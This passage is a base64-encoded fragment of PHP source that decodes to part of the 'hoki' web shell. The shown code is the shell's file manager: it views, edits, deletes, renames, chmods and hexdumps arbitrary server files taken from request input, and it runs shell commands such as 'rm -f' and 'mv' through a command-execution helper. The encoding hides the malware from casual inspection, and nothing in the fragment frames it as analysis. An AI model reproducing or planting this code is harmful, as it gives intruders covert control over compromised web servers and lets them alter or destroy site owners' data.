MuJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8YSBpZD0iaWRfZGVsZXRlXycuJGNjLiciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsKJGwgPSAkbD8wOjE7CiRjYysrOwp9CmVjaG8gIjx0ciBpZD0nZmlsZW1hbmFnZXJfbGFzdF90cic+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0naG9raTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVuY29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXNzPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbnRfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKICAgICRsaW5rcyA9ICIiOwogICAgaWYgKCR0b3RhbF9wYWdlcyA+PSAxICYmICRjdXJyZW50X3BhZ2UgPD0gJHRvdGFsX3BhZ2VzKSB7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+PDw8L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOwoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gMSl7CgkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCX0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiAgICAgICAgJGkgPSBtYXgoMiwgJGN1cnJlbnRfcGFnZSAtIDUpOwogICAgICAgIGlmICgkaSA+IDIpCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOwogICAgICAgIGZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3BhZ2VzKTsgJGkrKykgewoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCQl9ZWxzZXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7CgkJCX0KICAgICAgICAgICAgJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+eyRpfTwvYT4iOwogICAgICAgIH0KICAgICAgICBpZiAoJGkgIT0gJHRvdGFsX3BhZ2VzKQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7CgkJaWYoJGN1cnJlbnRfcGFnZSA9PSAkdG90YWxfcGFnZXMpewoJCQkkc2VsZWN0ZWRfcGFnZSAuPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7CgkJfQogICAgICAgICRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3BhZ2UuIlwiPnskdG90YWxfcGFnZXN9PC9hPiI7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Pj48L2E+IjsKICAgIH0KICAgIHJldHVybiAkbGlua3M7Cn0KZnVuY3Rpb24gaG9raUZpbGVzVG9vbHMoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkpJF9QT1NUWydob2tpMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnaG9raTEnXSk7CiRob2tpMV9kZWNvZGVkID0gJF9QT1NUWydob2tpMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkkY2hkaXJfZmFscyA9IHRydWU7CgkkX1BPU1RbJ2hva2kxJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJob2tpMSJdOwoJJGhva2lfY2FucnVuY21kID0gX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJJHNsYXNoZWRfaG9raTEgPSBhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSk7CgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBob2tpRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfaG9raTEuJyInKSk7CgkJJHBlcm1fY29sb3JfY2xhc3MgPSBob2tpRXgoImlmIFtbIC13ICciLiRzbGFzaGVkX2hva2kxLiInIF1dOyB0aGVuIGVjaG8gbWFpbl9ncmVlbl9wZXJtOyBlbGlmIFtbIC1yICciLiRzbGFzaGVkX2hva2kxLiInIF1dOyB0aGVuIGVjaG8gbWFpbl93aGl0ZV9wZXJtOyBlbHNlIGVjaG8gbWFpbl9yZWRfcGVybTsgZmkiKTsKCX0KfQppZigkX1BPU1RbJ2hva2kyJ10gPT0gJ2F1dG8nKXsKaWYoaXNfYXJyYXkoQGdldGltYWdlc2l6ZSgkX1BPU1RbJ2hva2kxJ10pKSl7CiRfUE9TVFsnaG9raTInXSA9ICdpbWFnZSc7Cn1lbHNlewoJJF9QT1NUWydob2tpMiddID0gJ3ZpZXcnOwoJaWYoJGNoZGlyX2ZhbHMpewoJCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJCSRtaW1lID0gZXhwbG9kZSgiOiIsIGhva2lFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuIiciKSk7CgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOwoJCQlpZighZW1wdHkoJG1pbWV0eXBlKSl7CgkJCQlpZihzdHJzdHIoJG1pbWV0eXBlLCAiaW1hZ2UiKSl7CgkJCQkJJF9QT1NUWydob2tpMiddID0gJ2ltYWdlJzsKCQkJCX0KCQkJfQoJCX0KCX0KfQp9CmlmKCRfUE9TVFsnaG9raTInXSA9PSAicmVuYW1lIiAmJiAhZW1wdHkoJF9QT1NUWydob2tpMyddKSAmJiBAaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7JHJlbmFtZV9jYWNoZSA9ICRfUE9TVFsnaG9raTMnXTt9CmlmKEAkX1BPU1RbJ2hva2kyJ10gPT0gJ21rZmlsZScpewokX1BPU1RbJ2hva2kxJ10gPSB0cmltKCRfUE9TVFsnaG9raTEnXSk7CmlmKCRjaGRpcl9mYWxzJiYkaG9raV9jYW5ydW5jbWQpewoJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWyJjIl0pKXsKCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CgkJJF9QT1NUWydob2tpMiddID0gImVkaXQiOwoJfQp9CmlmKCFAZmlsZV9leGlzdHMoJF9QT1NUWydob2tpMSddKSl7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2hva2kxJ10sICd3Jyk7CmlmKCRmcCl7CiRfUE9TVFsnaG9raTInXSA9ICJlZGl0IjsKZmNsb3NlKCRmcCk7Cn0KfWVsc2V7CiRfUE9TVFsnaG9raTInXSA9ICJlZGl0IjsKfQp9CmlmKCFfaG9raV9maWxlX2V4aXN0cyhAJF9QT1NUWydob2tpMSddKSl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydob2tpNCddLiInKTs8L3NjcmlwdD4iOwpob2tpRm9vdGVyKCk7CnJldHVybjsKfQppZigkY2hkaXJfZmFscyl7CiRmaWxlc2l6ZSA9ICRmaWxlX2luZm9bM107CiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07CiRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07CiRwZXJtY29sb3IgPSBob2tpUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kcGVybV9jb2xvcl9jbGFzcywibnVtIj0+JGZpbGVfaW5mb1s1XSwiaHVtYW4iPT4kZmlsZV9pbmZvWzZdKSx0cnVlKTsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydob2tpMSddKSk6Jyc7CiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydob2tpMSddKSk6Jyc7CmlmKCEkdWlkJiYhJGdpZCl7CiR1aWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkX1BPU1RbJ2hva2kxJ10pOicnOwokZ2lkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydob2tpMSddKTonJzsKfQokcGVybWNvbG9yID0gaG9raVBlcm1zQ29sb3IoJF9QT1NUWydob2tpMSddKTsKJGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVFsnaG9raTEnXSk7CmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7CglpZihfaG9raV9jYW5fcnVuQ29tbWFuZCgpKXsKCQlsaXN0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGhva2lFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiaG9raTEiXSkuJyInKSk7Cgl9Cn0KfQppZihzdWJzdHIoJF9QT1NUWydob2tpMSddLCAwLCA3KSA9PSAicGhhcjovLyIpewoJJGhva2lfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2hva2kxJ107Cn1lbHNlewoJJGhva2lfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydob2tpMSddKTsKfQplY2hvICc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRob2tpMV9kZWNvZGVkKSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5TaXplOjwvc3Bhbj4gJy5ob2tpU2l6ZSgkZmlsZXNpemUpLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+UGVybWlzc2lvbjo8L3NwYW4+ICcuJHBlcm1jb2xvci4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPkRpcmVjdG9yeTo8L3NwYW4+ICcuZGlybmFtZSgkaG9raV9maWxlX2RpcmVjdG9yeSkuJzwvZGl2Pic7CmlmKGVtcHR5KCRfUE9TVFsnaG9raTInXSkpJF9QT1NUWydob2tpMiddID0gJ3ZpZXcnOwppZighX2hva2lfaXNfZGlyKCRfUE9TVFsnaG9raTEnXSkpewokbSA9IGFycmF5KCdWaWV3JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZXRlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsKJGZ0eXBlID0gImZpbGUiOwp9ZWxzZXsKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiRmdHlwZSA9ICJkaXIiOwp9CmVjaG8oJzxkaXY+Jyk7CmZvcmVhY2goJG0gYXMgJHYpCmVjaG8gJHYgPT0gJ0RlbGV0ZScgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoaz1jb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgVGhpcyBGaWxlID9cJyk7Y2hrP2VkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydob2tpMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk6XCdcJzsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydob2tpMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPiAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydob2tpMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJykiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydob2tpMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPic7CmVjaG8gJzwvZGl2Pic7CnN3aXRjaCgkX1BPU1RbJ2hva2kyJ10pewpjYXNlICd2aWV3JzpjYXNlICdlZGl0JzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGRpc2FibGVkX2J0biA9ICIiOwppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnaG9raTEnXSkmJiFfaG9raV9pc193cml0YWJsZSgkX1BPU1RbJ2hva2kxJ10pKXsKJGRpc2FibGVkX2J0biA9ICJkaXNhYmxlZD1kaXNhYmxlZCI7CiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkpewokX1BPU1RbJ2hva2kzJ10gPSBzdWJzdHIoJF9QT1NUWydob2tpMyddLDEpOwokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydob2tpMSddKTsKJGZwID0gQF9fd3JpdGVfZmlsZSgkX1BPU1RbJ2hva2kxJ10sJF9QT1NUWydob2tpMyddKTsKaWYoJGNoZGlyX2ZhbHMmJiRob2tpX2NhbnJ1bmNtZCl7Cgkkcm5hbWUgPSAkaG9raTFfZGVjb2RlZDsKCSRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOwoJaWYoJGZwID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnaG9raTMnXSkpewoJCWhva2lFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsKCX0KfQppZigkZnApewplY2hvICdTYXZlZCE8YnI+JzsKQHRvdWNoKCRfUE9TVFsnaG9raTEnXSwkdGltZSwkdGltZSk7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50IGVkaXRvci1hY2UtY29udHJvbGxlciI+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7Ij4nLl9ob2tpX2xvYWRfYWNlX29wdGlvbnMoImVkaXRvciIpLic8YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZCh0aGlzKTsiPkNvcHk8L2J1dHRvbj4gPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uY2xpY2s9Imhva2lBY2VUb0Z1bGxzY3JlZW4odGhpcyk7Ij5GdWxsIFNjcmVlbjwvYnV0dG9uPiA8YnV0dG9uIG9uY2xpY2s9InZhciBhY2VfdmFsID0gaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbdGhpcy5nZXRBdHRyaWJ1dGUoXCdhY2VfaWRcJyldLmdldFZhbHVlKCk7ZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRob2tpMV9kZWNvZGVkKS4nXCcsXCdlZGl0XCcsXCcxXCcrYWNlX3ZhbCxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2hva2k0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIgYWNlLXNhdmUtYnRuIiBzdHlsZT0id2lkdGg6IDEwMHB4O2hlaWdodDogMzNweDsnLiRkaXNhYmxlZF9idG5fc3R5bGUuJyIgJy4kZGlzYWJsZWRfYnRuLic+c2F2ZTwvYnV0dG9uPjwvZGl2PjxwcmUgY2xhc3M9Im1sMSB2aWV3X21sX2NvbnRlbnQiPic7CmVjaG8gaHRtbHNwZWNpYWxjaGFycyhfX3JlYWRfZmlsZSgkX1BPU1RbJ2hva2kxJ10pKTsKZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsKYnJlYWs7CmNhc2UgJ2hpZ2hsaWdodCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2hva2kxJ10pKXsKZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCI+PGRpdiBjbGFzcz0ibWwxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnaG9raTEnXSx0cnVlKTsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnaG9raTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewokZGVsZXRlZCA9IHRydWU7CmlmKCFAdW5saW5rKCRfUE9TVFsnaG9raTEnXSkpewoJJGRlbGV0ZWQgPSBmYWxzZTsKCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7CgkJCWhva2lFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kxJ10pLiInIik7CgkJCSRkZWxldGVkID0gdHJ1ZTsKCQl9Cgl9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydob2tpNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnaG9raTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjYXNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2hva2kzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NUWydob2tpMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2hva2kzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2hva2kxJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKaG9raUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydob2tpMyddKS4iICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmhva2kzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjYWNoZSgpOwpIb2tpTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOwp9ZWxzZXsKCSRmaWxlX3Blcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRfUE9TVFsnaG9raTEnXSkpLC00KTsKfQplY2hvICc8c2NyaXB0Pmhva2kzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2hva2kyJ10uJ1wnLHRoaXMuY2htb2QudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iJy4kZmlsZV9wZXJtLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGMgPSBfX3JlYWRfZmlsZSgkX1BPU1RbJ2hva2kxJ10pOwokbiA9IDA7CiRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwokbGVuID0gc3RybGVuKCRjKTsKZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CnN3aXRjaCAoIG9yZCgkY1skaV0pICkgewpjYXNlIDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGhva2kxX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKTsKJGhv